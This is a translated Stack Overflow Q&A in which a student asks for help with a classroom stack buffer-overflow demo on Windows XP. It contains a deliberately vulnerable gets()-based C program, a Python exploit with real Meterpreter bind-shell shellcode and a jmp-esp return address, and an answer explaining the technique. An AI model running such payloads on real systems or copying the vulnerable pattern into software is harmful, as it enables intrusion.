我可以知道如何在示例 C 程序上增加 ESP 的长度，从而允许我在堆栈上执行 shellcode。然而，截至目前，示例 c 程序的 ESP 长度仅为 61，因此不足以用于 shellcode。任何帮助表示赞赏!这是针对初学者的类演示，我也是一名学生，所以我对缓冲区溢出非常陌生。
示例 C 程序
#include <stdio.h>
#include <string.h>
#pragma warning(disable: 4996)
int root(void)
{
printf("\n Root privileges given to the user \n");
return 0;
}
int user(void){
printf("\n Normal user privileges given to the user \n");
return 0;
}
int main(void)
{
char buff[15];
int pass = 0;
int max = 15;
printf("\n Enter the password : \n");
//fgets(buff, max, stdin);
gets(buff);
if (strcmp(buff, "thegeekstuff"))
{
printf("\n Wrong Password \n");
}
else
{
printf("\n Correct Password \n");
pass = 1;
}
if (pass == 1)
{
root();
} else {
user();
}
return 0;
}
利用 Python 代码 (Win86) - bind_tcp_staged_meterpreter [LPORT=4444]
*注意:在绑定(bind) shell payload 之前添加了一条指令 (add esp, -1500)
#! python
import os
import sys
import subprocess
import binascii
import time
ESP_Address = bytes.fromhex('5954C377')
buf = ""
# Add ESP, -1500
buf += "\x81\xC4\x24\xFA\xFF\xFF"
# Bind Meterpreter Shell
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x6a\x0b\x59\x50\xe2\xfd\x6a\x01\x6a\x02\x68"
buf += "\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
buf += "\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57"
buf += "\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1"
buf += "\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x6a\x00"
buf += "\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36"
buf += "\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4"
buf += "\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3"
bind_staged_shell_payload = bytes(buf, "utf-8")
Dummy_Data = ("A" * 35).encode()
final_payload = Dummy_Data + ESP_Address + bind_staged_shell_payload
p = subprocess.Popen('buffer_overflow.exe', stdin=subprocess.PIPE) #NOTE: no shell=True here
time.sleep(20)
p.stdin.write(final_payload)
p.communicate()[0]
p.stdin.close()
sys.exit(0)
用于在windows XP SP 1中编译c程序的代码
gcc -Wl,--stack,4194304 -fno-stack-protector -m32 buffer_overflow.c -o buffer_overflow.exe
我试过的....非常尴尬，没有成功:
使用
-Wl,--stack,4194304选项编译C程序试图通过创建具有巨大缓冲区的虚拟变量来增加堆栈大小(显然，它使 ESP 的长度更短......)
以管理员身份运行 cmd...
关闭防火墙
使用 nc IP_ADDRESS 4444 测试连接但连接被拒绝(绑定(bind) shell 未从漏洞利用代码成功生成)- 一旦为阶段有效负载成功建立连接，将使用 meterpreter 处理程序
注意事项
当输入 shellcode 时，程序不会崩溃...但是，如果插入 100 个字符的字符串，程序会崩溃。
最佳答案
你没有描述你是如何在堆栈上找到返回地址的，以及你为什么要添加'add esp'所以我只是帮助你从头开始获取它并希望它能帮助你。
首先，您应该在调试器(我推荐 IDA Pro)中运行该程序并开始对其进行模糊测试以查看返回地址存储在堆栈中的位置。
在那之后尽量不要使用一些 shellcode 并尝试从代码运行 root 函数，这样如果它可以工作，你将得到输出字符串的指示。缓冲区应该是这样的: "A * return_address_offset + root_address"如果它可以工作，你可以使用一个简单的 shellcode 而不是 root 函数，方法是将它放在缓冲区上并用'jmp esp'覆盖返回地址，这样放置的 shellcode在堆栈上将运行。如果您不跳转到堆栈上的 shellcode，程序会将 shellcode 的前 4 个字节视为地址并尝试跳转到那里，而该地址很可能是无效地址，因此程序崩溃。
如果您不了解它是如何工作的，您应该阅读有关堆栈和调用约定以及程序如何调用函数和从函数返回的内容。
有一个tutorial关于剥削，它也应该对您有所帮助。
希望我对你有帮助!
关于c - 示例 C 程序的缓冲区溢出，我们在Stack Overflow上找到一个类似的问题： https://stackoverflow.com/questions/53304887/